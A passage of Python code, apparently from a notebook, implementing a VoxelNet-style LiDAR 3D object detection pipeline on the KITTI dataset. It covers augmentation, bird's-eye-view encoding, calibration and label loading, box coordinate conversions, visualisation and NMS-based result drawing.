augmentation\n\n\n\ndef draw_polygon(img, box_corner, color = (255, 255, 255),thickness = 1):\n\n tup0 = (box_corner[0, 1],box_corner[0, 0])\n tup1 = (box_corner[1, 1],box_corner[1, 0])\n tup2 = (box_corner[2, 1],box_corner[2, 0])\n tup3 = (box_corner[3, 1],box_corner[3, 0])\n cv2.line(img, tup0, tup1, color, thickness, cv2.LINE_AA)\n cv2.line(img, tup1, tup2, color, thickness, cv2.LINE_AA)\n cv2.line(img, tup2, tup3, color, thickness, cv2.LINE_AA)\n cv2.line(img, tup3, tup0, color, thickness, cv2.LINE_AA)\n return img\n\n\ndef point_transform(points, tx, ty, tz, rx=0, ry=0, rz=0):\n # Input:\n # points: (N, 3)\n # rx/y/z: in radians\n # Output:\n # points: (N, 3)\n N = points.shape[0]\n points = np.hstack([points, np.ones((N, 1))])\n mat1 = np.eye(4)\n mat1[3, 0:3] = tx, ty, tz\n points = np.matmul(points, mat1)\n if rx != 0:\n mat = np.zeros((4, 4))\n mat[0, 0] = 1\n mat[3, 3] = 1\n mat[1, 1] = np.cos(rx)\n mat[1, 2] = -np.sin(rx)\n mat[2, 1] = np.sin(rx)\n mat[2, 2] = np.cos(rx)\n points = np.matmul(points, mat)\n if ry != 0:\n mat = np.zeros((4, 4))\n mat[1, 1] = 1\n mat[3, 3] = 1\n mat[0, 0] = np.cos(ry)\n mat[0, 2] = np.sin(ry)\n mat[2, 0] = -np.sin(ry)\n mat[2, 2] = np.cos(ry)\n points = np.matmul(points, mat)\n if rz != 0:\n mat = np.zeros((4, 4))\n mat[2, 2] = 1\n mat[3, 3] = 1\n mat[0, 0] = np.cos(rz)\n mat[0, 1] = -np.sin(rz)\n mat[1, 0] = np.sin(rz)\n mat[1, 1] = np.cos(rz)\n points = np.matmul(points, mat)\n return points[:, 0:3]\n\n\ndef box_transform(boxes_corner, tx, ty, tz, r=0):\n # boxes_corner (N, 8, 3)\n for idx in range(len(boxes_corner)):\n boxes_corner[idx] = point_transform(boxes_corner[idx], tx, ty, tz, rz=r)\n return boxes_corner\n\n\ndef cal_iou2d(box1_corner, box2_corner):\n box1_corner = np.reshape(box1_corner, [4, 2])\n box2_corner = np.reshape(box2_corner, [4, 2])\n box1_corner = ((config.W, config.H)-(box1_corner - (config.xrange[0], config.yrange[0])) / (config.vw, config.vh)).astype(np.int32)\n box2_corner = ((config.W, config.H)-(box2_corner - (config.xrange[0], config.yrange[0])) / (config.vw, config.vh)).astype(np.int32)\n\n buf1 = np.zeros((config.H, config.W, 3))\n buf2 = np.zeros((config.H, config.W, 3))\n buf1 = cv2.fillConvexPoly(buf1, box1_corner, color=(1,1,1))[..., 0]\n buf2 = cv2.fillConvexPoly(buf2, box2_corner, color=(1,1,1))[..., 0]\n\n indiv = np.sum(np.absolute(buf1-buf2))\n share = np.sum((buf1 + buf2) == 2)\n if indiv == 0:\n return 0.0 # when target is out of bound\n return share / (indiv + share)\n\n\ndef aug_data(lidar, gt_box3d_corner):\n np.random.seed()\n\n choice = np.random.randint(1, 10)\n\n if choice >= 7:\n for idx in range(len(gt_box3d_corner)):\n # TODO: precisely gather the point\n is_collision = True\n _count = 0\n while is_collision and _count < 100:\n t_rz = np.random.uniform(-np.pi / 10, np.pi / 10)\n t_x = np.random.normal()\n t_y = np.random.normal()\n t_z = np.random.normal()\n\n # check collision\n tmp = box_transform(\n gt_box3d_corner[[idx]], t_x, t_y, t_z, t_rz)\n is_collision = False\n for idy in range(idx):\n iou = cal_iou2d(tmp[0, :4, :2], gt_box3d_corner[idy, :4, :2])\n if iou > 0:\n is_collision = True\n _count += 1\n break\n if not is_collision:\n box_corner = gt_box3d_corner[idx]\n minx = np.min(box_corner[:, 0])\n miny = np.min(box_corner[:, 1])\n minz = np.min(box_corner[:, 2])\n maxx = np.max(box_corner[:, 0])\n maxy = np.max(box_corner[:, 1])\n maxz = np.max(box_corner[:, 2])\n bound_x = np.logical_and(\n lidar[:, 0] >= minx, lidar[:, 0] <= maxx)\n bound_y = np.logical_and(\n lidar[:, 1] >= miny, lidar[:, 1] <= maxy)\n bound_z = np.logical_and(\n lidar[:, 2] >= minz, lidar[:, 2] <= maxz)\n bound_box = np.logical_and(\n np.logical_and(bound_x, bound_y), bound_z)\n lidar[bound_box, 0:3] = point_transform(\n lidar[bound_box, 0:3], t_x, t_y, t_z, rz=t_rz)\n gt_box3d_corner[idx] = box_transform(\n gt_box3d_corner[[idx]], t_x, t_y, t_z, t_rz)\n\n gt_box3d = gt_box3d_corner\n\n elif choice < 7 and choice >= 4:\n # global rotation\n angle = np.random.uniform(-np.pi / 4, np.pi / 4)\n lidar[:, 0:3] = point_transform(lidar[:, 0:3], 0, 0, 0, rz=angle)\n gt_box3d = box_transform(gt_box3d_corner, 0, 0, 0, r=angle)\n\n else:\n # global scaling\n factor = np.random.uniform(0.95, 1.05)\n lidar[:, 0:3] = lidar[:, 0:3] * factor\n gt_box3d = gt_box3d_corner * factor\n\n return lidar, gt_box3d\n\n\n# Utilities\n\n\n\n\n\n\n\ndef get_filtered_lidar(lidar, boxes3d=None):\n\n pxs = lidar[:, 0]\n pys = lidar[:, 1]\n pzs = lidar[:, 2]\n\n filter_x = np.where((pxs >= config.xrange[0]) & (pxs < config.xrange[1]))[0]\n filter_y = np.where((pys >= config.yrange[0]) & (pys < config.yrange[1]))[0]\n filter_z = np.where((pzs >= config.zrange[0]) & (pzs < config.zrange[1]))[0]\n filter_xy = np.intersect1d(filter_x, filter_y)\n filter_xyz = np.intersect1d(filter_xy, filter_z)\n\n if boxes3d is not None:\n box_x = (boxes3d[:, :, 0] >= config.xrange[0]) & (boxes3d[:, :, 0] < config.xrange[1])\n box_y = (boxes3d[:, :, 1] >= config.yrange[0]) & (boxes3d[:, :, 1] < config.yrange[1])\n box_z = (boxes3d[:, :, 2] >= config.zrange[0]) & (boxes3d[:, :, 2] < config.zrange[1])\n box_xyz = np.sum(box_x & box_y & box_z,axis=1)\n\n return lidar[filter_xyz], boxes3d[box_xyz>0]\n\n return lidar[filter_xyz]\n\ndef lidar_to_bev(lidar):\n\n X0, Xn = 0, config.W\n Y0, Yn = 0, config.H\n Z0, Zn = 0, config.D\n\n width = Yn - Y0\n height = Xn - X0\n channel = Zn - Z0 + 2\n\n pxs = lidar[:, 0]\n pys = lidar[:, 1]\n pzs = lidar[:, 2]\n prs = lidar[:, 3]\n\n qxs=((pxs-config.xrange[0])/config.vw).astype(np.int32)\n qys=((pys-config.yrange[0])/config.vh).astype(np.int32)\n qzs=((pzs-config.zrange[0])/config.vd).astype(np.int32)\n\n print('height,width,channel=%d,%d,%d' % (height, width, channel))\n top = np.zeros(shape=(height, width, channel), dtype=np.float32)\n mask = np.ones(shape=(height, width, channel-1), dtype=np.float32) * -5\n\n for i in range(len(pxs)):\n top[-qxs[i], -qys[i], -1] = 1 + top[-qxs[i], -qys[i], -1]\n if pzs[i] > mask[-qxs[i], -qys[i], qzs[i]]:\n top[-qxs[i], -qys[i], qzs[i]] = max(0, pzs[i]-config.zrange[0])\n mask[-qxs[i], -qys[i], qzs[i]]=pzs[i]\n if pzs[i] > mask[-qxs[i], -qys[i], -1]:\n mask[-qxs[i], -qys[i], -1] = pzs[i]\n top[-qxs[i], -qys[i], -2] = prs[i]\n\n top[:, :, -1] = np.log(top[:, :, -1]+1)/math.log(64)\n\n if 1:\n # top_image = np.sum(top[:,:,:-1],axis=2)\n density_image = top[:, :, -1]\n density_image = density_image-np.min(density_image)\n density_image = (density_image/np.max(density_image)*255).astype(np.uint8)\n # top_image = np.dstack((top_image, top_image, top_image)).astype(np.uint8)\n\n return top, density_image\n\n\ndef draw_lidar(lidar, is_grid=False, is_axis=True, is_top_region=True, fig=None):\n\n pxs = lidar[:, 0]\n pys = lidar[:, 1]\n pzs = lidar[:, 2]\n prs = lidar[:, 3]\n\n if fig is None: fig = mlab.figure(figure=None, bgcolor=(0,0,0), fgcolor=None, engine=None, size=(1000, 500))\n\n mlab.points3d(\n pxs, pys, pzs, prs,\n mode='point', # 'point' 'sphere'\n colormap='gnuplot', # 'bone', #'spectral', #'copper',\n scale_factor=1,\n figure=fig)\n\n # draw grid\n if is_grid:\n mlab.points3d(0, 0, 0, color=(1,1,1), mode='sphere', scale_factor=0.2)\n\n for y in np.arange(-50,50,1):\n x1,y1,z1 = -50, y, 0\n x2,y2,z2 = 50, y, 0\n mlab.plot3d([x1, x2], [y1, y2], [z1,z2], color=(0.5,0.5,0.5), tube_radius=None, line_width=1, figure=fig)\n\n for x in np.arange(-50,50,1):\n x1,y1,z1 = x,-50, 0\n x2,y2,z2 = x, 50, 0\n mlab.plot3d([x1, x2], [y1, y2], [z1,z2], color=(0.5,0.5,0.5), tube_radius=None, line_width=1, figure=fig)\n\n # draw axis\n if is_grid:\n mlab.points3d(0, 0, 0, color=(1,1,1), mode='sphere', scale_factor=0.2)\n\n axes=np.array([\n [2.,0.,0.,0.],\n [0.,2.,0.,0.],\n [0.,0.,2.,0.],\n ],dtype=np.float64)\n fov=np.array([ ## : now is 45 deg. use actual setting later ...\n [20., 20., 0.,0.],\n [20.,-20., 0.,0.],\n ],dtype=np.float64)\n\n\n mlab.plot3d([0, axes[0,0]], [0, axes[0,1]], [0, axes[0,2]], color=(1,0,0), tube_radius=None, figure=fig)\n mlab.plot3d([0, axes[1,0]], [0, axes[1,1]], [0, axes[1,2]], color=(0,1,0), tube_radius=None, figure=fig)\n mlab.plot3d([0, axes[2,0]], [0, axes[2,1]], [0, axes[2,2]], color=(0,0,1), tube_radius=None, figure=fig)\n mlab.plot3d([0, fov[0,0]], [0, fov[0,1]], [0, fov[0,2]], color=(1,1,1), tube_radius=None, line_width=1, figure=fig)\n mlab.plot3d([0, fov[1,0]], [0, fov[1,1]], [0, fov[1,2]], color=(1,1,1), tube_radius=None, line_width=1, figure=fig)\n\n # draw top_image feature area\n if is_top_region:\n x1 = config.xrange[0]\n x2 = config.xrange[1]\n y1 = config.yrange[0]\n y2 = config.yrange[1]\n mlab.plot3d([x1, x1], [y1, y2], [0,0], color=(0.5,0.5,0.5), tube_radius=None, line_width=1, figure=fig)\n mlab.plot3d([x2, x2], [y1, y2], [0,0], color=(0.5,0.5,0.5), tube_radius=None, line_width=1, figure=fig)\n mlab.plot3d([x1, x2], [y1, y1], [0,0], color=(0.5,0.5,0.5), tube_radius=None, line_width=1, figure=fig)\n mlab.plot3d([x1, x2], [y2, y2], [0,0], color=(0.5,0.5,0.5), tube_radius=None, line_width=1, figure=fig)\n\n mlab.orientation_axes()\n mlab.view(azimuth=180,elevation=None,distance=50,focalpoint=[ 12.0909996 , -1.04700089, -2.03249991])#2.0909996 , -1.04700089, -2.03249991\n\n return fig\n\n\ndef draw_gt_boxes3d(gt_boxes3d, fig, color=(1,0,0), line_width=2):\n\n num = len(gt_boxes3d)\n for n in range(num):\n b = gt_boxes3d[n]\n\n for k in range(0,4):\n\n i,j=k,(k+1)%4\n mlab.plot3d([b[i,0], b[j,0]], [b[i,1], b[j,1]], [b[i,2], b[j,2]], color=color, tube_radius=None, line_width=line_width, figure=fig)\n\n i,j=k+4,(k+3)%4 + 4\n mlab.plot3d([b[i,0], b[j,0]], [b[i,1], b[j,1]], [b[i,2], b[j,2]], color=color, tube_radius=None, line_width=line_width, figure=fig)\n\n i,j=k,k+4\n mlab.plot3d([b[i,0], b[j,0]], [b[i,1], b[j,1]], [b[i,2], b[j,2]], color=color, tube_radius=None, line_width=line_width, figure=fig)\n\n mlab.view(azimuth=180,elevation=None,distance=50,focalpoint=[ 12.0909996 , -1.04700089, -2.03249991])#2.0909996 , -1.04700089, -2.03249991\n\n\ndef project_velo2rgb(velo,calib):\n T=np.zeros([4,4],dtype=np.float32)\n T[:3,:]=calib['Tr_velo2cam']\n T[3,3]=1\n R=np.zeros([4,4],dtype=np.float32)\n R[:3,:3]=calib['R0']\n R[3,3]=1\n num=len(velo)\n projections = np.zeros((num,8,2), dtype=np.int32)\n for i in range(len(velo)):\n box3d=np.ones([8,4],dtype=np.float32)\n box3d[:,:3]=velo[i]\n M=np.dot(calib['P2'],R)\n M=np.dot(M,T)\n box2d=np.dot(M,box3d.T)\n box2d=box2d[:2,:].T/box2d[2,:].reshape(8,1)\n projections[i] = box2d\n return projections\n\n\ndef draw_rgb_projections(image, projections, color=(255,255,255), thickness=2, darker=1):\n\n img = image.copy()*darker\n num=len(projections)\n forward_color=(255,255,0)\n for n in range(num):\n qs = projections[n]\n for k in range(0,4):\n i,j=k,(k+1)%4\n\n cv2.line(img, (qs[i,0],qs[i,1]), (qs[j,0],qs[j,1]), color, thickness, cv2.LINE_AA)\n\n i,j=k+4,(k+1)%4 + 4\n cv2.line(img, (qs[i,0],qs[i,1]), (qs[j,0],qs[j,1]), color, thickness, cv2.LINE_AA)\n\n i,j=k,k+4\n cv2.line(img, (qs[i,0],qs[i,1]), (qs[j,0],qs[j,1]), color, thickness, cv2.LINE_AA)\n\n cv2.line(img, (qs[3,0],qs[3,1]), (qs[7,0],qs[7,1]), forward_color, thickness, cv2.LINE_AA)\n cv2.line(img, (qs[7,0],qs[7,1]), (qs[6,0],qs[6,1]), forward_color, thickness, cv2.LINE_AA)\n cv2.line(img, (qs[6,0],qs[6,1]), (qs[2,0],qs[2,1]), forward_color, thickness, cv2.LINE_AA)\n cv2.line(img, (qs[2,0],qs[2,1]), (qs[3,0],qs[3,1]), forward_color, thickness, cv2.LINE_AA)\n cv2.line(img, (qs[3,0],qs[3,1]), (qs[6,0],qs[6,1]), forward_color, thickness, cv2.LINE_AA)\n cv2.line(img, (qs[2,0],qs[2,1]), (qs[7,0],qs[7,1]), forward_color, thickness, cv2.LINE_AA)\n\n return img\n\n\ndef _quantize_coords(x, y):\n xx = config.H - int((y - config.yrange[0]) / config.vh)\n yy = config.W - int((x - config.xrange[0]) / config.vw)\n return xx, yy\n\n\ndef draw_polygons(image, polygons,color=(255,255,255), thickness=1, darken=1):\n\n img = image.copy() * darken\n for polygon in polygons:\n tup0, tup1, tup2, tup3 = [_quantize_coords(*tup) for tup in polygon]\n cv2.line(img, tup0, tup1, color, thickness, cv2.LINE_AA)\n cv2.line(img, tup1, tup2, color, thickness, cv2.LINE_AA)\n cv2.line(img, tup2, tup3, color, thickness, cv2.LINE_AA)\n cv2.line(img, tup3, tup0, color, thickness, cv2.LINE_AA)\n return img\n\n\ndef draw_rects(image, rects, color=(255,255,255), thickness=1, darken=1):\n\n img = image.copy() * darken\n for rect in rects:\n tup0,tup1 = [_quantize_coords(*tup) for tup in list(zip(rect[0::2], rect[1::2]))]\n cv2.rectangle(img, tup0, tup1, color, thickness, cv2.LINE_AA)\n return img\n\n\ndef load_kitti_calib(calib_file):\n \"\"\"\n load projection matrix\n \"\"\"\n with open(calib_file) as fi:\n lines = fi.readlines()\n assert (len(lines) == 8)\n\n obj = lines[0].strip().split(' ')[1:]\n P0 = np.array(obj, dtype=np.float32)\n obj = lines[1].strip().split(' ')[1:]\n P1 = np.array(obj, dtype=np.float32)\n obj = lines[2].strip().split(' ')[1:]\n P2 = np.array(obj, dtype=np.float32)\n obj = lines[3].strip().split(' ')[1:]\n P3 = np.array(obj, dtype=np.float32)\n obj = lines[4].strip().split(' ')[1:]\n R0 = np.array(obj, dtype=np.float32)\n obj = lines[5].strip().split(' ')[1:]\n Tr_velo_to_cam = np.array(obj, dtype=np.float32)\n obj = lines[6].strip().split(' ')[1:]\n Tr_imu_to_velo = np.array(obj, dtype=np.float32)\n\n return {'P2': P2.reshape(3, 4),\n 'R0': R0.reshape(3, 3),\n 'Tr_velo2cam': Tr_velo_to_cam.reshape(3, 4)}\n\n\ndef angle_in_limit(angle):\n # To limit the angle in -pi/2 - pi/2\n limit_degree = 5\n while angle >= np.pi / 2:\n angle -= np.pi\n while angle < -np.pi / 2:\n angle += np.pi\n if abs(angle + np.pi / 2) < limit_degree / 180 * np.pi:\n angle = np.pi / 2\n return angle\n\n\ndef box3d_cam_to_velo(box3d, Tr):\n\n def project_cam2velo(cam, Tr):\n T = np.zeros([4, 4], dtype=np.float32)\n T[:3, :] = Tr\n T[3, 3] = 1\n T_inv = np.linalg.inv(T)\n lidar_loc_ = np.dot(T_inv, cam)\n lidar_loc = lidar_loc_[:3]\n return lidar_loc.reshape(1, 3)\n\n def ry_to_rz(ry):\n angle = -ry - np.pi / 2\n\n if angle >= np.pi:\n angle -= np.pi\n if angle < -np.pi:\n angle = 2*np.pi + angle\n\n return angle\n\n h,w,l,tx,ty,tz,ry = [float(i) for i in box3d]\n cam = np.ones([4, 1])\n cam[0] = tx\n cam[1] = ty\n cam[2] = tz\n t_lidar = project_cam2velo(cam, Tr)\n\n Box = np.array([[-l / 2, -l / 2, l / 2, l / 2, -l / 2, -l / 2, l / 2, l / 2],\n [w / 2, -w / 2, -w / 2, w / 2, w / 2, -w / 2, -w / 2, w / 2],\n [0, 0, 0, 0, h, h, h, h]])\n\n rz = ry_to_rz(ry)\n\n rotMat = np.array([\n [np.cos(rz), -np.sin(rz), 0.0],\n [np.sin(rz), np.cos(rz), 0.0],\n [0.0, 0.0, 1.0]])\n\n velo_box = np.dot(rotMat, Box)\n\n cornerPosInVelo = velo_box + np.tile(t_lidar, (8, 1)).T\n\n box3d_corner = cornerPosInVelo.transpose()\n\n return box3d_corner.astype(np.float32)\n\n\ndef anchors_center_to_corner(anchors):\n N = anchors.shape[0]\n anchor_corner = np.zeros((N, 4, 2))\n for i in range(N):\n anchor = anchors[i]\n translation = anchor[0:3]\n h, w, l = anchor[3:6]\n rz = anchor[-1]\n Box = np.array([\n [-l / 2, -l / 2, l / 2, l / 2], \\\n [w / 2, -w / 2, -w / 2, w / 2]])\n # re-create 3D bounding box in velodyne coordinate system\n rotMat = np.array([\n [np.cos(rz), -np.sin(rz)],\n [np.sin(rz), np.cos(rz)]])\n velo_box = np.dot(rotMat, Box)\n cornerPosInVelo = velo_box + np.tile(translation[:2], (4, 1)).T\n box2d = cornerPosInVelo.transpose()\n anchor_corner[i] = box2d\n return anchor_corner\n\n\ndef corner_to_standup_box2d_batch(boxes_corner):\n # (N, 4, 2) -> (N, 4) x1, y1, x2, y2\n N = boxes_corner.shape[0]\n standup_boxes2d = np.zeros((N, 4))\n standup_boxes2d[:, 0] = np.min(boxes_corner[:, :, 0], axis=1)\n standup_boxes2d[:, 1] = np.min(boxes_corner[:, :, 1], axis=1)\n standup_boxes2d[:, 2] = np.max(boxes_corner[:, :, 0], axis=1)\n standup_boxes2d[:, 3] = np.max(boxes_corner[:, :, 1], axis=1)\n return standup_boxes2d\n\n\ndef box3d_corner_to_center_batch(box3d_corner):\n # (N, 8, 3) -> (N, 7)\n assert box3d_corner.ndim == 3\n batch_size = box3d_corner.shape[0]\n\n xyz = np.mean(box3d_corner[:, :4, :], axis=1)\n\n h = abs(np.mean(box3d_corner[:, 4:, 2] - box3d_corner[:, :4, 2], axis=1, keepdims=True))\n\n w = (np.sqrt(np.sum((box3d_corner[:, 0, [0, 1]] - box3d_corner[:, 1, [0, 1]]) ** 2, axis=1, keepdims=True)) +\n np.sqrt(np.sum((box3d_corner[:, 2, [0, 1]] - box3d_corner[:, 3, [0, 1]]) ** 2, axis=1, keepdims=True)) +\n np.sqrt(np.sum((box3d_corner[:, 4, [0, 1]] - box3d_corner[:, 5, [0, 1]]) ** 2, axis=1, keepdims=True)) +\n np.sqrt(np.sum((box3d_corner[:, 6, [0, 1]] - box3d_corner[:, 7, [0, 1]]) ** 2, axis=1, keepdims=True))) / 4\n\n l = (np.sqrt(np.sum((box3d_corner[:, 0, [0, 1]] - box3d_corner[:, 3, [0, 1]]) ** 2, axis=1, keepdims=True)) +\n np.sqrt(np.sum((box3d_corner[:, 1, [0, 1]] - box3d_corner[:, 2, [0, 1]]) ** 2, axis=1, keepdims=True)) +\n np.sqrt(np.sum((box3d_corner[:, 4, [0, 1]] - box3d_corner[:, 7, [0, 1]]) ** 2, axis=1, keepdims=True)) +\n np.sqrt(np.sum((box3d_corner[:, 5, [0, 1]] - box3d_corner[:, 6, [0, 1]]) ** 2, axis=1, keepdims=True))) / 4\n\n theta = (np.arctan2(box3d_corner[:, 2, 1] - box3d_corner[:, 1, 1],\n box3d_corner[:, 2, 0] - box3d_corner[:, 1, 0]) +\n np.arctan2(box3d_corner[:, 3, 1] - box3d_corner[:, 0, 1],\n box3d_corner[:, 3, 0] - box3d_corner[:, 0, 0]) +\n np.arctan2(box3d_corner[:, 2, 0] - box3d_corner[:, 3, 0],\n box3d_corner[:, 3, 1] - box3d_corner[:, 2, 1]) +\n np.arctan2(box3d_corner[:, 1, 0] - box3d_corner[:, 0, 0],\n box3d_corner[:, 0, 1] - box3d_corner[:, 1, 1]))[:, np.newaxis] / 4\n\n return np.concatenate([xyz, h, w, l, theta], axis=1).reshape(batch_size, 7)\n\n\ndef get_anchor3d(anchors):\n num = anchors.shape[0]\n anchors3d = np.zeros((num,8,3))\n anchors3d[:, :4, :2] = anchors\n anchors3d[:, :, 2] = config.z_a\n anchors3d[:, 4:, :2] = anchors\n anchors3d[:, 4:, 2] = config.z_a + config.h_a\n return anchors3d\n\n\ndef load_kitti_label(label_file, Tr):\n\n with open(label_file, 'r') as f:\n lines = f.readlines()\n\n gt_boxes3d_corner = []\n\n num_obj = len(lines)\n\n for j in range(num_obj):\n obj = lines[j].strip().split(' ')\n\n obj_class = obj[0].strip()\n if obj_class not in config.class_list:\n continue\n\n box3d_corner = box3d_cam_to_velo(obj[8:], Tr)\n\n gt_boxes3d_corner.append(box3d_corner)\n\n gt_boxes3d_corner = np.array(gt_boxes3d_corner).reshape(-1, 8, 3)\n\n return gt_boxes3d_corner\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef test():\n import os\n import glob\n import matplotlib.pyplot as plt\n\n lidar_path = os.path.join('./data/KITTI/training', \"crop/\")\n image_path = os.path.join('./data/KITTI/training', \"image_2/\")\n calib_path = os.path.join('./data/KITTI/training', \"calib/\")\n label_path = os.path.join('./data/KITTI/training', \"label_2/\")\n\n file=[i.strip().split('/')[-1][:-4] for i in sorted(os.listdir(label_path))]\n\n i = 2600\n\n lidar_file = lidar_path + '/' + file[i] + '.bin'\n calib_file = calib_path + '/' + file[i] + '.txt'\n label_file = label_path + '/' + file[i] + '.txt'\n image_file = image_path + '/' + file[i] + '.png'\n\n image = cv2.imread(image_file)\n print(\"Processing: \", lidar_file)\n lidar = np.fromfile(lidar_file, dtype=np.float32)\n lidar = lidar.reshape((-1, 4))\n\n calib = load_kitti_calib(calib_file)\n gt_box3d = load_kitti_label(label_file, calib['Tr_velo2cam'])\n\n # augmentation\n #lidar, gt_box3d = aug_data(lidar, gt_box3d)\n\n # filtering\n lidar, gt_box3d = get_filtered_lidar(lidar, gt_box3d)\n\n # view in point cloud\n\n # fig = draw_lidar(lidar, is_grid=False, is_top_region=True)\n # draw_gt_boxes3d(gt_boxes3d=gt_box3d, fig=fig)\n # mlab.show()\n\n # view in image\n\n # gt_3dTo2D = project_velo2rgb(gt_box3d, calib)\n # img_with_box = draw_rgb_projections(image,gt_3dTo2D, color=(0,0,255),thickness=1)\n # plt.imshow(img_with_box[:,:,[2,1,0]])\n # plt.show()\n\n # view in bird-eye view\n\n top_new, density_image=lidar_to_bev(lidar)\n # gt_box3d_top = corner_to_standup_box2d_batch(gt_box3d)\n # density_with_box = draw_rects(density_image,gt_box3d_top)\n density_with_box = draw_polygons(density_image,gt_box3d[:,:4,:2])\n plt.imshow(density_with_box,cmap='gray')\n plt.show()\n\n\n# Train Network\n\ndef weights_init(m):\n if isinstance(m, nn.Conv2d):\n init.xavier_uniform(m.weight.data)\n m.bias.data.zero_()\n\n\ndef detection_collate(batch):\n voxel_features = []\n voxel_coords = []\n pos_equal_one = []\n neg_equal_one = []\n targets = []\n\n images = []\n calibs = []\n ids = []\n for i, sample in enumerate(batch):\n voxel_features.append(sample[0])\n\n voxel_coords.append(\n np.pad(sample[1], ((0, 0), (1, 0)),\n mode='constant', constant_values=i))\n\n pos_equal_one.append(sample[2])\n neg_equal_one.append(sample[3])\n targets.append(sample[4])\n\n images.append(sample[5])\n calibs.append(sample[6])\n ids.append(sample[7])\n return np.concatenate(voxel_features), \\\n np.concatenate(voxel_coords), \\\n np.array(pos_equal_one),\\\n np.array(neg_equal_one),\\\n np.array(targets),\\\n images, calibs, ids\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# Test utilities\n\n\n\ndef delta_to_boxes3d(deltas, anchors):\n # Input:\n # deltas: (N, w, l, 14)\n # feature_map_shape: (w, l)\n # anchors: (w, l, 2, 7)\n\n # Ouput:\n # boxes3d: (N, w*l*2, 7)\n N = deltas.shape[0]\n deltas = deltas.view(N, -1, 7)\n anchors = torch.FloatTensor(anchors)\n boxes3d = torch.zeros_like(deltas)\n\n if deltas.is_cuda:\n anchors = anchors.cuda()\n boxes3d = boxes3d.cuda()\n\n anchors_reshaped = anchors.view(-1, 7)\n\n anchors_d = torch.sqrt(anchors_reshaped[:, 4]**2 + anchors_reshaped[:, 5]**2)\n\n anchors_d = anchors_d.repeat(N, 2, 1).transpose(1,2)\n anchors_reshaped = anchors_reshaped.repeat(N, 1, 1)\n\n boxes3d[..., [0, 1]] = torch.mul(deltas[..., [0, 1]], anchors_d) + anchors_reshaped[..., [0, 1]]\n boxes3d[..., [2]] = torch.mul(deltas[..., [2]], anchors_reshaped[...,[3]]) + anchors_reshaped[..., [2]]\n\n boxes3d[..., [3, 4, 5]] = torch.exp(\n deltas[..., [3, 4, 5]]) * anchors_reshaped[..., [3, 4, 5]]\n\n boxes3d[..., 6] = deltas[..., 6] + anchors_reshaped[..., 6]\n\n return boxes3d\n\n\ndef detection_collate(batch):\n lidars = []\n images = []\n calibs = []\n\n targets = []\n pos_equal_ones=[]\n ids = []\n for i, sample in enumerate(batch):\n lidars.append(sample[0])\n images.append(sample[1])\n calibs.append(sample[2])\n targets.append(sample[3])\n pos_equal_ones.append(sample[4])\n ids.append(sample[5])\n return lidars,images,calibs,\\\n torch.cuda.FloatTensor(np.array(targets)), \\\n torch.cuda.FloatTensor(np.array(pos_equal_ones)),\\\n ids\n\n\ndef box3d_center_to_corner_batch(boxes_center):\n # (N, 7) -> (N, 8, 3)\n N = boxes_center.shape[0]\n ret = torch.zeros((N, 8, 3))\n if boxes_center.is_cuda:\n ret = ret.cuda()\n\n for i in range(N):\n box = boxes_center[i]\n translation = box[0:3]\n size = box[3:6]\n rotation = [0, 0, box[-1]]\n\n h, w, l = size[0], size[1], size[2]\n trackletBox = torch.FloatTensor([ # in velodyne coordinates around zero point and without orientation yet\n [-l / 2, -l / 2, l / 2, l / 2, -l / 2, -l / 2, l / 2, l / 2], \\\n [w / 2, -w / 2, -w / 2, w / 2, w / 2, -w / 2, -w / 2, w / 2], \\\n [0, 0, 0, 0, h, h, h, h]])\n if boxes_center.is_cuda:\n trackletBox = trackletBox.cuda()\n # re-create 3D bounding box in velodyne coordinate system\n yaw = rotation[2]\n rotMat = torch.FloatTensor([\n [np.cos(yaw), -np.sin(yaw), 0.0],\n [np.sin(yaw), np.cos(yaw), 0.0],\n [0.0, 0.0, 1.0]])\n if boxes_center.is_cuda:\n rotMat = rotMat.cuda()\n\n cornerPosInVelo = torch.mm(rotMat, trackletBox) + translation.repeat(8, 1).t()\n box3d = cornerPosInVelo.transpose(0,1)\n ret[i] = box3d\n\n return ret\n\n\ndef box3d_corner_to_top_batch(boxes3d, use_min_rect=True):\n # [N,8,3] -> [N,4,2] -> [N,8]\n box3d_top=[]\n\n num = len(boxes3d)\n for n in range(num):\n b = boxes3d[n]\n x0 = b[0,0]\n y0 = b[0,1]\n x1 = b[1,0]\n y1 = b[1,1]\n x2 = b[2,0]\n y2 = b[2,1]\n x3 = b[3,0]\n y3 = b[3,1]\n box3d_top.append([x0,y0,x1,y1,x2,y2,x3,y3])\n\n if use_min_rect:\n box8pts = torch.FloatTensor(np.array(box3d_top))\n if boxes3d.is_cuda:\n box8pts = box8pts.cuda()\n min_rects = torch.zeros((box8pts.shape[0], 4))\n if boxes3d.is_cuda:\n min_rects = min_rects.cuda()\n # calculate minimum rectangle\n min_rects[:, 0] = torch.min(box8pts[:, [0, 2, 4, 6]], dim=1)[0]\n min_rects[:, 1] = torch.min(box8pts[:, [1, 3, 5, 7]], dim=1)[0]\n min_rects[:, 2] = torch.max(box8pts[:, [0, 2, 4, 6]], dim=1)[0]\n min_rects[:, 3] = torch.max(box8pts[:, [1, 3, 5, 7]], dim=1)[0]\n return min_rects\n\n return box3d_top\n\n\ndef draw_boxes(reg, prob, images, calibs, ids, tag):\n prob = prob.view(config.N, -1)\n batch_boxes3d = delta_to_boxes3d(reg, config.anchors)\n mask = torch.gt(prob, config.score_threshold)\n mask_reg = mask.unsqueeze(2).repeat(1, 1, 7)\n\n for batch_id in range(config.N):\n boxes3d = torch.masked_select(batch_boxes3d[batch_id], mask_reg[batch_id]).view(-1, 7)\n scores = torch.masked_select(prob[batch_id], mask[batch_id])\n\n image = images[batch_id]\n calib = calibs[batch_id]\n id = ids[batch_id]\n\n if len(boxes3d) != 0:\n\n boxes3d_corner = box3d_center_to_corner_batch(boxes3d)\n boxes2d = box3d_corner_to_top_batch(boxes3d_corner)\n boxes2d_score = torch.cat((boxes2d, scores.unsqueeze(1)), dim=1)\n\n # NMS\n keep = pth_nms(boxes2d_score, config.nms_threshold)\n boxes3d_corner_keep = boxes3d_corner[keep]\n print(\"No. %d objects detected\" % len(boxes3d_corner_keep))\n\n rgb_2D = project_velo2rgb(boxes3d_corner_keep, calib)\n img_with_box = draw_rgb_projections(image, rgb_2D, color=(0, 0, 255), thickness=1)\n cv2.imwrite('results/%s_%s.png' % (id,tag), img_with_box)\n\n else:\n 